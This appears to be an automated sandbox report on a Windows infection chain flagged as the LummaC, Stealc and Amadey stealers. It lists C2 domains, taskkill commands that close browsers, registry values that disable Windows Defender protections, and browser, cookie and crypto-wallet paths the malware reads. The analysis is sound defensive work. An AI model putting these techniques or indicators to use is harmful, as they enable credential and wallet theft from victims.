Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Code function: 4_2_010268B3 rdtsc 4_2_010268B3
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Code function: 4_2_00E9B7C6 LdrInitializeThunk, 4_2_00E9B7C6
Enables debug privileges
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: b28f5af0b9.exe PID: 2148, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: b28f5af0b9.exe PID: 7132, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 5688, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 1516, type: MEMORYSTR
LummaC encrypted strings found
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: presticitpo.store
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe "C:\Users\user\AppData\Local\Temp\1002787001\num.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: f27afcd405.exe, 0000000C.00000000.2586598836.0000000000682000.00000002.00000001.01000000.00000010.sdmp, f27afcd405.exe, 00000022.00000002.2860202297.0000000000682000.00000002.00000001.01000000.00000010.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: firefox.exe, 0000002F.00000002.2959098354.00000001063FB000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: ?Progman
Source: S39605Y99PQJP70DBWYAE5A.exe, S39605Y99PQJP70DBWYAE5A.exe, 00000005.00000002.2114688874.0000000000B03000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, skotes.exe, 00000006.00000002.2136733909.0000000000333000.00000040.00000001.01000000.0000000C.sdmp Binary or memory string: \Program Manager
Source: firefox.exe, 0000001A.00000002.2744937051.000000C465C7B000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: ?ProgmanListenerWi
Source: CMI46CXL3718GGL9UBA.exe, CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2205213896.000000000106D000.00000040.00000001.01000000.00000006.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2852744939.0000000000AFD000.00000040.00000001.01000000.00000018.sdmp Binary or memory string: hProgram Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\file.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002787001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1002787001\num.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\file.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings
barindex
Disable Windows Defender notifications (registry)
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1 Jump to behavior
Disable Windows Defender real time protection (registry)
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableIOAVProtection 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection Registry value created: DisableRealtimeMonitoring 1 Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications Registry value created: DisableNotifications 1 Jump to behavior
Disables Windows Defender Tamper protection
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Registry value created: TamperProtection 0 Jump to behavior
Modifies windows update settings
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations Jump to behavior
AV process strings found (often used to terminate AV products)
Source: file.exe, 00000000.00000003.1778457016.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002255387.000000000083B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002094324.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\Desktop\file.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadeys stealer DLL
Source: Yara match File source: 5.2.S39605Y99PQJP70DBWYAE5A.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.5EQND7K5L8HE276L.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.skotes.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000020.00000003.2745547028.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000003.2298754950.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.2136627208.0000000000151000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000003.2073578821.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2792577506.0000000000DB1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000003.2096375636.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2114089520.0000000000921000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: f27afcd405.exe PID: 1352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: f27afcd405.exe PID: 5180, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: file.exe PID: 6996, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bd73c9fe1b.exe PID: 1056, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: bd73c9fe1b.exe PID: 3992, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 30.2.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.2.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 37.0.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.b28f5af0b9.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.b28f5af0b9.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 30.0.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000025.00000000.2811806473.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2770625069.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000000.2811751180.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2682454468.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.2678993762.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2772881272.000000000126B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.2539631182.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.2662848375.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2681835070.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2580073228.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2830777733.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2830712627.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000000.2662760119.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: b28f5af0b9.exe PID: 2148, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: b28f5af0b9.exe PID: 7132, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 5688, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: num.exe PID: 1516, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: file.exe, 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/ElectrumpihQkl
Source: file.exe, 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.jsonD9
Source: file.exe String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Wallets/EthereumvbvcC2
Source: file.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
